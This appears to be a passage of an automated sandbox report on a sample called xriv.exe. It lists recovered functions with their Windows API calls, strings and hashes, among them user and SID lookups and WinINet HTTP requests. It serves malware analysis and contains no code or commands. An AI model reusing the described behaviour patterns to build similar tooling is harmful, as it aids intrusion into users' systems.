GetUserNameW.ADVAPI32(00000000,?), ref: 011D3132
GetProcessHeap.KERNEL32(00000008,?), ref: 011D3147
HeapAlloc.KERNEL32(00000000), ref: 011D314A
GetUserNameW.ADVAPI32(00000000,?), ref: 011D3158
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 011D317B
GetProcessHeap.KERNEL32(00000008,?), ref: 011D3186
HeapAlloc.KERNEL32(00000000), ref: 011D3189
GetProcessHeap.KERNEL32(00000008,?), ref: 011D3199
HeapAlloc.KERNEL32(00000000), ref: 011D319C
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 011D31C6
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 011D31D9
GetProcessHeap.KERNEL32(00000000,?), ref: 011D32D5
HeapFree.KERNEL32(00000000), ref: 011D32DE
GetProcessHeap.KERNEL32(00000000,00000000), ref: 011D32E3
HeapFree.KERNEL32(00000000), ref: 011D32E6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 011D32ED
HeapFree.KERNEL32(00000000), ref: 011D32F0
LocalFree.KERNEL32(00000000), ref: 011D32F5

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 9a89cdbabbe78cd3cbf5cf1b6aa64a801aa69de9f6141f5c3b83cdf6cb7f8c7c
Instruction ID: 6ede966a16ab6b55daf85dde948bb30bb0d2c8d3aa6e9908964d79d190c38d24
Opcode Fuzzy Hash: 9a89cdbabbe78cd3cbf5cf1b6aa64a801aa69de9f6141f5c3b83cdf6cb7f8c7c
Instruction Fuzzy Hash: 637178B1E00209AFEB19DFE8DC88BAFBBB8FF44354F044529E915A7244DB349945CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011F16C1 Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 011F1705

Part of subcall function 011F129E: _free.LIBCMT ref: 011F12BB
Part of subcall function 011F129E: _free.LIBCMT ref: 011F12CD
Part of subcall function 011F129E: _free.LIBCMT ref: 011F12DF
Part of subcall function 011F129E: _free.LIBCMT ref: 011F12F1
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1303
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1315
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1327
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1339
Part of subcall function 011F129E: _free.LIBCMT ref: 011F134B
Part of subcall function 011F129E: _free.LIBCMT ref: 011F135D
Part of subcall function 011F129E: _free.LIBCMT ref: 011F136F
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1381
Part of subcall function 011F129E: _free.LIBCMT ref: 011F1393

_free.LIBCMT ref: 011F16FA

Part of subcall function 011ED653: HeapFree.KERNEL32(00000000,00000000,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?), ref: 011ED669
Part of subcall function 011ED653: GetLastError.KERNEL32(?,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?,?), ref: 011ED67B

_free.LIBCMT ref: 011F171C
_free.LIBCMT ref: 011F1731
_free.LIBCMT ref: 011F173C
_free.LIBCMT ref: 011F175E
_free.LIBCMT ref: 011F1771
_free.LIBCMT ref: 011F177F
_free.LIBCMT ref: 011F178A
_free.LIBCMT ref: 011F17C2
_free.LIBCMT ref: 011F17C9
_free.LIBCMT ref: 011F17E6
_free.LIBCMT ref: 011F17FE

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 35f39a1b97f75b0d528ec594a6acc5da3592f602bae4d1ae00d6e2124a8dba0a
Instruction ID: b16040649b1ed1c93b7e449274e0c33fded6c2960487a13d29fa3f10a8d5c5b2
Opcode Fuzzy Hash: 35f39a1b97f75b0d528ec594a6acc5da3592f602bae4d1ae00d6e2124a8dba0a
Instruction Fuzzy Hash: 1F318F31604B01EFEB29AEBCE848B5677E9EF04658F50892EE25DD7160DF70E980CB14

Uniqueness

Uniqueness Score: -1.00%

Function 011E8BC7 Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 011E8CC2
type_info::operator==.LIBVCRUNTIME ref: 011E8CE9
___TypeMatch.LIBVCRUNTIME ref: 011E8DF5
CatchIt.LIBVCRUNTIME ref: 011E8E4A
IsInExceptionSpec.LIBVCRUNTIME ref: 011E8ED0
_UnwindNestedFrames.LIBCMT ref: 011E8F57
CallUnexpected.LIBVCRUNTIME ref: 011E8F72

Strings

csm, xrefs: 011E8C6F
csm, xrefs: 011E8C02
csm, xrefs: 011E8D20

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: 90b56f0689996c22637c1ef5e352c85c5b06367c84dd0e1d145bd9ee28ae2650
Instruction ID: 8aa3e647e2db728e42c439661edf302d885898799b17508ce2cdfb899b725c3e
Opcode Fuzzy Hash: 90b56f0689996c22637c1ef5e352c85c5b06367c84dd0e1d145bd9ee28ae2650
Instruction Fuzzy Hash: 9FC18C71800A1ADFCF1EDFE8D8889AEBBF5BF14314F04415AE9116B212D731DA51CB92

Uniqueness

Uniqueness Score: -1.00%

Function 011EDE2C Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 011EDE42

Part of subcall function 011ED653: HeapFree.KERNEL32(00000000,00000000,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?), ref: 011ED669
Part of subcall function 011ED653: GetLastError.KERNEL32(?,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?,?), ref: 011ED67B

_free.LIBCMT ref: 011EDE4E
_free.LIBCMT ref: 011EDE59
_free.LIBCMT ref: 011EDE64
_free.LIBCMT ref: 011EDE6F
_free.LIBCMT ref: 011EDE7A
_free.LIBCMT ref: 011EDE85
_free.LIBCMT ref: 011EDE90
_free.LIBCMT ref: 011EDE9B
_free.LIBCMT ref: 011EDEA9

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e8b153c898260760d4324dc36a87b933a311cf5c155505e8d7163a9db797d21e
Instruction ID: 8316a5139a313eaac7e9491b01d3624ace527305870e8767a689e4633bb18abf
Opcode Fuzzy Hash: e8b153c898260760d4324dc36a87b933a311cf5c155505e8d7163a9db797d21e
Instruction Fuzzy Hash: 8621B776904509AFCF09EFD4D884DDE7BF8BF18644F4085A6E6199B120DB71EA94CF80

Uniqueness

Uniqueness Score: -1.00%

Function 011D86E2 Relevance: 13.8, APIs: 9, Instructions: 341networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(01203F6C,00000000,00000000,00000000,00000000), ref: 011D871C
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 011D8740
HttpOpenRequestA.WININET(?,00000000), ref: 011D878A
HttpSendRequestA.WININET(?,00000000), ref: 011D884A
InternetReadFile.WININET(?,?,000003FF,?), ref: 011D88FC
InternetReadFile.WININET(?,00000000,000003FF,?), ref: 011D89B0
InternetCloseHandle.WININET(?), ref: 011D89D7
InternetCloseHandle.WININET(?), ref: 011D89DF
InternetCloseHandle.WININET(?), ref: 011D89E7

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSend
String ID:
API String ID: 1354133546-0
Opcode ID: 316260e1e871a04d3beae55149a8c79c9fa332999f7f27188856b41fdc48b1c5
Instruction ID: 834d5b7a467a02b0f979f95e86cdacc84b9e0629809edf8a7b530c937cf4ed17
Opcode Fuzzy Hash: 316260e1e871a04d3beae55149a8c79c9fa332999f7f27188856b41fdc48b1c5
Instruction Fuzzy Hash: 45C1F3B0A001189BEB2CDF28CC88BDDBF76EF45318F548198E60897291DB759AC0CF95

Uniqueness

Uniqueness Score: -1.00%

Function 011F5642 Relevance: 13.8, APIs: 9, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ec6adee2ed1d78d317847c39214fcea78a48c1c745d9a25c861a2faf9a111b5
Instruction ID: 579ec9a90e043bb28babfcf0ade3dd7aa5e5243bc690d09f28e8c327650d43d9
Opcode Fuzzy Hash: 9ec6adee2ed1d78d317847c39214fcea78a48c1c745d9a25c861a2faf9a111b5
Instruction Fuzzy Hash: 95C1EF70E0464AABDF5DCF9CD884BAEBBB2BF4A314F04415DE615AB282D7309941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 011F0AD9 Relevance: 12.2, APIs: 8, Instructions: 203COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 011F0B03
_free.LIBCMT ref: 011F0BDC
_free.LIBCMT ref: 011F0C09

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: fd8620dea739311554ab2ba8bc69dcc0c6130deccc396019a5b0a154bc5ccd79
Instruction ID: da312fd9dced463fafc93dbe88e06a23634b275f75278cf3612f04edca11bc79
Opcode Fuzzy Hash: fd8620dea739311554ab2ba8bc69dcc0c6130deccc396019a5b0a154bc5ccd79
Instruction Fuzzy Hash: 7D510670904346AFDF2DAFA89844B6D7BE6AF09718F00419EFB0997183EB318181CB55

Uniqueness

Uniqueness Score: -1.00%

Function 011E8570 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 011E85A7
___except_validate_context_record.LIBVCRUNTIME ref: 011E85AF
_ValidateLocalCookies.LIBCMT ref: 011E8638
__IsNonwritableInCurrentImage.LIBCMT ref: 011E8663
_ValidateLocalCookies.LIBCMT ref: 011E86B8

Strings

csm, xrefs: 011E864D

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 08b59431cbc7278c988758f8c7ec6487f4f1a70d47c460f1726baeb579fe53c6
Instruction ID: b4fc6b6699eee963efaa7f8669cd806d097886abae0611b37bb00a467dbc7828
Opcode Fuzzy Hash: 08b59431cbc7278c988758f8c7ec6487f4f1a70d47c460f1726baeb579fe53c6
Instruction Fuzzy Hash: AA41A474A00619EBCF18DFACC888A9EBFF5AF59318F148159E9189B391D7319A01CF91

Uniqueness

Uniqueness Score: -1.00%

Function 011EE1FE Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 011EE255
ext-ms-, xrefs: 011EE269

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-$ext-ms-
API String ID: 0-537541572
Opcode ID: fc22cd508b6d9735d209ed52f77b40b3c359aebe147df22f8b9fcc03d394c35a
Instruction ID: d1019ad3acd0d9c49599c387efe88415918ee4742356e084193572545ff72f0b
Opcode Fuzzy Hash: fc22cd508b6d9735d209ed52f77b40b3c359aebe147df22f8b9fcc03d394c35a
Instruction Fuzzy Hash: 5D215E72A07A23AFEB3D4EE98C4CA5A7BD49F41760F150224FD16A7280D730DD0086D1

Uniqueness

Uniqueness Score: -1.00%

Function 011F143D Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 011F1405: _free.LIBCMT ref: 011F142A

_free.LIBCMT ref: 011F148B

Part of subcall function 011ED653: HeapFree.KERNEL32(00000000,00000000,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?), ref: 011ED669
Part of subcall function 011ED653: GetLastError.KERNEL32(?,?,011F142F,?,00000000,?,?,?,011F1456,?,00000007,?,?,011F1858,?,?), ref: 011ED67B

_free.LIBCMT ref: 011F1496
_free.LIBCMT ref: 011F14A1
_free.LIBCMT ref: 011F14F5
_free.LIBCMT ref: 011F1500
_free.LIBCMT ref: 011F150B
_free.LIBCMT ref: 011F1516

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction ID: 956296d269249a092fb595cc6a942474944f8acf36114f61e3a06e66fa409cfe
Opcode Fuzzy Hash: 745ba4c7df38b0c8b3501d58b22aa89868de86b005191e755d783c3d27d16807
Instruction Fuzzy Hash: 6D116D72540B09FADA24BFF1DC09FCB77DC9F54709F814C19A3ADAA060DB28A545CA94

Uniqueness

Uniqueness Score: -1.00%

Function 011F2AF8 Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,011D5140,00000000), ref: 011F2B40
__fassign.LIBCMT ref: 011F2D1F
__fassign.LIBCMT ref: 011F2D3C
WriteFile.KERNEL32(?,011D5140,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 011F2D84
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 011F2DC4
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 011F2E70

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: 3c831290dc9cf9679d9d1e72637e9e92bcab6efafea6e3ce70e26cd6aada0545
Instruction ID: 2a56c30beba67290fded8e76e2abf63e12e637f4e19d669b388804912ece478b
Opcode Fuzzy Hash: 3c831290dc9cf9679d9d1e72637e9e92bcab6efafea6e3ce70e26cd6aada0545
Instruction Fuzzy Hash: 29D19C71D002599FDF19CFE8D8809EDBBB5BF49314F28016EE956BB242D730AA46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 011E8890 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,011E8887,011E8476,011E7AC4), ref: 011E889E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 011E88AC
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 011E88C5
SetLastError.KERNEL32(00000000,011E8887,011E8476,011E7AC4), ref: 011E8917

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: b8cab66a02fc75d6f027b8518e03c090370d6cfb425808343b2217ec008e8606
Instruction ID: 2915a0c0edc0055b56322282292cc0094d79b5233cd0305e000d795a42600270
Opcode Fuzzy Hash: b8cab66a02fc75d6f027b8518e03c090370d6cfb425808343b2217ec008e8606
Instruction Fuzzy Hash: B501D832A1EF165EAA3E55F97CCC9172BD9EF816FD7210329E620544D6FF1148004741

Uniqueness

Uniqueness Score: -1.00%

Function 011F002E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe, xrefs: 011F0033

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\xriv.exe
API String ID: 0-2325939117
Opcode ID: d432c44d4bd5fb4444ab167fd387240d58d34e7d9df529ce181afcdf09e8c297
Instruction ID: 7323867fe7fe18c24b392430a13271d5d30bf87f14b7133b3d6c0796010cecf8
Opcode Fuzzy Hash: d432c44d4bd5fb4444ab167fd387240d58d34e7d9df529ce181afcdf09e8c297
Instruction Fuzzy Hash: 9F210771604507BFDB28AF698C84D6B77AEEF083A8711412CFA1993142EB31EC4187A1

Uniqueness

Uniqueness Score: -1.00%

Function 011EB476 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 011EB4B8

Strings

.exe, xrefs: 011EB4C5
.bat, xrefs: 011EB4E7
.com, xrefs: 011EB4F8
.cmd, xrefs: 011EB4D6

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: e98c8b33d4e694527aa003b2e5bea5e81580bea5b8806c6add14a07f27989f48
Instruction ID: 2a233ef51bbd4ab0075fc19a5350298c25a5fc325326f283e5d5a1292f1a31b4
Opcode Fuzzy Hash: e98c8b33d4e694527aa003b2e5bea5e81580bea5b8806c6add14a07f27989f48
Instruction Fuzzy Hash: 3101D63B608F2725672C209D9C05B275BEC8FD2BB4726002EFA48F7280FF94D8034198

Uniqueness

Uniqueness Score: -1.00%

Function 011E9937 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 011E9987

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: e22cd47196560f3e13d2ce121551643deafa10b628c84d9c7747d9d74c7eddc9
Instruction ID: 67d0586da0a61f0e670ca457b85798e6cd6d96ffa99fb2dd0e1d45677f430702
Opcode Fuzzy Hash: e22cd47196560f3e13d2ce121551643deafa10b628c84d9c7747d9d74c7eddc9
Instruction Fuzzy Hash: 60113F31A01A2BABDF3E8AADDC48B5A3BD49F01678B120524E916A7291F730ED00C6D1

Uniqueness

Uniqueness Score: -1.00%

Function 011EA9E3 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,011EA9D8,011EE000,?,011EA9A0,011EAF26,?,011EE000), ref: 011EA9F8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 011EAA0B
FreeLibrary.KERNEL32(00000000,?,?,011EA9D8,011EE000,?,011EA9A0,011EAF26,?,011EE000), ref: 011EAA2E

Strings

mscoree.dll, xrefs: 011EA9F1
CorExitProcess, xrefs: 011EAA03

Memory Dump Source

Source File: 0000000F.00000002.403134166.00000000011D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 011D0000, based on PE: true

Associated: 0000000F.00000002.403127063.00000000011D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403157260.00000000011FE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403174597.0000000001208000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.403182580.000000000120D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_11d0000_xriv.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c078f0e12de4ca07dbec7f259cd6c28f4e17f71face0db32058f7fae00fb95fc
Instruction ID: 75d51c36f2498296156022a6d594f7856d0b464cff8187b92950d183cbbc7e58
Opcode Fuzzy Hash: c078f0e12de4ca07dbec7f259cd6c28f4e17f71face0db32058f7fae00fb95fc
Instruction Fuzzy Hash: 25F02731601219FBDB29DB91DE0DBCD7EB5EF40705F00006CF600A2060CB748E40DB90

Uniqueness

Uniqueness Score: -1.00%

Function 011EB1AE Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,011EB0E0), ref: 011EB1D0
GetFileInformationByHandle.KERNEL32(?,?), ref: 011EB22A
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,011EB0E0,?,000000FF,00000000,00000000), ref: 011EB2B8
__dosmaperr.LIBCMT ref: 011EB2BF
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 011EB2FC

Part of subcall function 011EB524: __dosmaperr.LIBCMT ref: 011EB559

Memory Dump Source

